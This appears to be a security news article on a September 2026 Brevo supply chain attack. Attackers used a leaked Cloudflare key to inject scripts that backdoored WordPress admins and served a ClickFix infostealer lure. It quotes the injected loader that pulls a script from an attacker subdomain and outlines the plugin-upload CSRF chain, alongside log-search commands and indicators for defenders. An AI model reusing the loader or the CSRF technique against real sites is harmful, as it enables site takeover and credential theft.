Over 100,000 WordPress Sites Backdoored in Massive Brevo Supply Chain Attack via Stolen Cloudflare Keys

The CyberSec Guru

Brevo Supply Chain Attack

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

It started as what looked like a contained authentication flaw. It is now one of the most significant web-based supply chain attacks of 2026. Sansec’s forensic research shows that threat actors used a stolen, long-lived Cloudflare API key to take over Brevo’s edge infrastructure. From there they turned legitimate marketing widgets into a malware delivery system and hijacked administrative WordPress sessions.

Brevo’s client list includes eBay, Louis Vuitton, Michelin, and Amnesty International. On September 10, Brevo disclosed a SAML Single Sign-On (SSO) vulnerability that affected only six customer accounts. That disclosure understated the problem. Four days later, the attackers used deep infrastructure access to poison the JavaScript assets served to Brevo’s entire global customer base.

“Supply chain attacks like this have a huge amplification and are the holy grail for every threat actor,” the Sansec Forensics Team said in its technical advisory. By compromising one upstream vendor, the attackers got past the perimeter defenses of more than 100,000 separate organizations.

The root cause: a hardcoded key and one big Cloudflare account

The September 14 mass infection traces back to a secrets management failure. The attackers found a hardcoded, long-lived Cloudflare API key in Brevo’s internal source code. That one credential gave them full administrative permissions over Brevo’s Cloudflare environment.

An architectural choice made it far worse. Brevo ran several mission-critical apex domains under a single Cloudflare account: brevo.com, sibforms.com, sibautomation.com, sendinblue.com, and the email-tracking domain sendibt1.com. That decision is what turned one leaked credential into a company-wide compromise.

With the key, the attackers could do much more than change static files. They could rewrite DNS records and edit edge-routing rules in every one of those zones. Brevo has confirmed that it removed the hardcoded key from its codebase and replaced it with short-lived, scoped tokens. During the exposure window, though, the attackers set up a persistent foothold that was hard to spot.

How the attackers used DNS and Cloudflare Workers

Traditional Magecart-style skimming attacks breach individual e-commerce servers and inject code there. This campaign went after the Content Delivery Network (CDN) and edge-computing layer instead.

The attackers created new A records in the legitimate sendibt1.com DNS zone. Subdomains such as cdn.sendibt1.com, cdn2.sendibt1.com, and cdn9.sendibt1.com pointed to attacker-controlled IP addresses, and all of them ran through Cloudflare’s proxy network. That gave the attackers free SSL termination and DDoS protection, and it hid their real origin servers from threat intelligence crawlers.

They then used Cloudflare Workers (or Cloudflare Snippets) to set up dynamic content transformation rules. When a victim’s browser requested a legitimate Brevo asset, either the sdk-loader.js tracker or the brevo-conversations.js chat widget, a Cloudflare Worker intercepted the response and appended a malicious JavaScript loader on the fly.

;(function(){
var s=document.createElement("script");
s.src="https://cdn2.sendibt1.com/f.js";
s.async=true;
var h=document.head||document.documentElement;
h.appendChild(s);
})();

The modified assets served from cdn.brevo.com kept their original Last-Modified HTTP headers. This looks deliberate. Automated cache-busting and superficial security scanners often rely on header timestamps to detect unauthorized file changes, and the unchanged headers gave them nothing to flag.

📬 Stay Ahead of Cyber Threats

Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.

Subscribe to the Newsletter →

Two payloads for two kinds of visitors

Once the malicious f.js payload ran in a victim’s browser, it fingerprinted the environment. Depending on the user’s privilege level and session state, it then took one of two paths.

Path A: silent WordPress backdoor through CSRF and session riding

Site administrators and developers who were browsing their own WordPress front end while logged into wp-admin did not see the ClickFix scam. The malware ran a Cross-Site Request Forgery (CSRF) and session-riding attack against them instead.

The malicious JavaScript was executing in the context of the trusted domain, so it had access to the administrator’s active WordPress session cookies. It silently built and sent a POST request to the plugin upload endpoint, /wp-admin/update.php?action=upload-plugin.

The payload was a malicious plugin archive, wm.zip, hosted at cdn10.sendibt1.com/p/wm.zip. Right after the upload, the script sent a GET request to /wp-admin/plugins.php?action=activate, which installed and activated a persistent PHP backdoor on the server.

The admin’s own browser sent these requests with valid session tokens, so WordPress treated them as legitimate administrative actions. No warnings fired, and the backend passed to the attackers without a sign of trouble. Sansec could not recover wm.zip before the infrastructure was taken down. Its behavioral analysis strongly indicates the archive held a customized web shell built for long-term persistence and lateral movement.

Path B: the ClickFix social engineering scam

Everyone else got the ClickFix overlay. That included the great majority of ordinary site visitors and people who clicked “unsubscribe” links in Brevo-hosted email campaigns.

ClickFix is a social engineering technique built to get around browser sandboxing, Endpoint Detection and Response (EDR) systems, and antivirus heuristics. It works because operating systems generally trust actions the user starts themselves.

Visitors saw a convincing full-page overlay that imitated a Cloudflare CAPTCHA or a “Browser Verification” check. It said the browser had failed a human verification test and offered “manual instructions” to fix it.

Behind the overlay, the malicious JavaScript silently wrote a heavily obfuscated PowerShell command to the user’s clipboard. The overlay then told the user to press Windows Key + R to open the Run dialog, or to open a terminal, and press Ctrl + V to paste the “fix.” When the victim ran the pasted command, they bypassed every browser security boundary and gave the attacker’s payload, typically an infostealer such as Lumma or Vidar, direct execution rights on their machine.

C2 cloaking and the infrastructure burn

The threat actors kept tight operational security (OPSEC). Their Command and Control (C2) infrastructure was cloaked to avoid automated analysis by security vendors and sandboxes.

When f.js sent its fingerprinting POST requests to API endpoints such as /api/v1/0044d4a, the C2 server evaluated the incoming traffic. If the request lacked specific browser fingerprints, came from an Autonomous System Number (ASN) tied to a cybersecurity firm, or looked like a headless scanner, the server returned a harmless cloaking response:

{"s":0,"r":"https:\/\/www.google.com"}

That sent security researchers to Google’s homepage and hid what the payload actually did. The attackers also limited distribution to a four-hour window on September 14, from 16:05:18 to 20:12:53 UTC. By the time manual analysis began, they had deleted the malicious DNS records and the hosts returned NXDOMAIN errors, which made reverse-engineering harder.

Incident response for sysadmins

If your organization uses Brevo for marketing automation or CRM, or embeds Brevo widgets on its website, assume your WordPress environment was targeted on September 14 and start incident response now.

Audit web server access logs

Query your Nginx, Apache, or WAF logs for the attack window (September 14, 16:05 to 20:13 UTC). Look for unauthorized, automated plugin installations sent through the REST API or admin-ajax:

# Search for malicious plugin uploads
grep "POST /wp-admin/update.php?action=upload-plugin" /var/log/nginx/access.log | grep "14/Sep/2026"
# Search for immediate plugin activations
grep "GET /wp-admin/plugins.php?action=activate" /var/log/nginx/access.log | grep "14/Sep/2026"

Audit the file system directly

The malicious plugins installed through this vector are coded to hide from the standard WordPress plugins.php admin dashboard, so the WordPress UI cannot confirm your site is clean.

Connect over SSH or FTP and inspect wp-content/plugins/. Compare the directories on disk against the active plugins listed in your database (wp_options, or wp_sitemeta for multisite). Look for directories created on September 14 that have generic names, random alphanumeric strings, or names that imitate legitimate plugins (for example, wp-security-update-core).

Advise end users and employees

If you run a high-traffic consumer site, your visitors were very likely served the ClickFix CAPTCHA overlay. Send a security advisory to your customers and internal staff. Anyone who visited your site on September 14 and interacted with a “Cloudflare Verification” prompt should disconnect from the network right away and run a full offline scan with Windows Defender or a reputable enterprise EDR product to check for infostealers.

Indicators of compromise (IoCs)

Ingest the following indicators into your SIEM, EDR, DNS filtering, and Web Application Firewall (WAF).

Warning: do not block the apex domain sendibt1.com at the DNS or firewall level. Brevo uses it for legitimate email open and click tracking, and blocking it will break marketing analytics and email deliverability for every Brevo customer on your network. Block only the malicious subdomains listed below.

Malicious domains and infrastructure

  • cdn.sendibt1.com (104.21.77.104)
  • cdn2.sendibt1.com
  • cdn3.sendibt1.com
  • cdn4.sendibt1.com
  • cdn9.sendibt1.com (188.114.97.3)
  • cdn10.sendibt1.com
  • cdn11.sendibt1.com

Malicious JavaScript hashes (SHA256)

  • Clean sdk-loader.js: fe8447fd1ec4dca652b71db2c749fcc24a5bec3875f3654042169fb2418aed09
  • Injected sdk-loader.js (cdn2): 58a5c601c9df7ca2120435588fc39f97712d9b878795f6ee500590099a432308
  • Injected sdk-loader.js (cdn11): f67d572d2d30407b3f470904326411450763108980cdad89550fbb221fb06782
  • Clean brevo-conversations.js: 26166cd87ff07e7a50317a24126d14b262e842c5715585636dee3ab3f227ddca
  • Injected brevo-conversations.js: 9b62c12bc5c7feb9802f58e6cf75a368690df3c754e37cc64483a92acacf87a5

C2 API endpoints and telemetry

  • /api/v1/4aff112?tk= (clipboard command retrieval)
  • /api/v1/b832c14?e= (event beacon: click, copy, fallback, failure)
  • /api/v1/0044d4a and /api/v1/8e4c615 (fingerprinting POST)
  • /api/v1/e08a3c4 and /api/v1/f659473 (proof-of-work token generation)

What the Brevo breach means for third-party scripts

Every third-party script you embed on your site makes that vendor’s security posture, secrets management, and infrastructure design part of your attack surface. Perimeter security does not cover that. Supply chain compromises pay off for attackers because one vendor breach reaches thousands of downstream sites at once.

Subresource Integrity (SRI) is the most direct defense against this kind of edge-based injection. It is a native browser feature that lets you pin a cryptographic hash to an external JavaScript file. If a compromised CDN or a malicious Cloudflare Worker changes the script in transit, the browser sees the hash mismatch and refuses to run the code, so the injection fails on the client.

Hardcoded, long-lived API keys are a known anti-pattern, and this breach shows what one leaked key can do: DNS and edge-routing hijacks across an entire vendor. Keep secrets in a vault, enforce least-privilege access, and use only short-lived, ephemeral tokens for CI/CD pipelines and application integrations.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading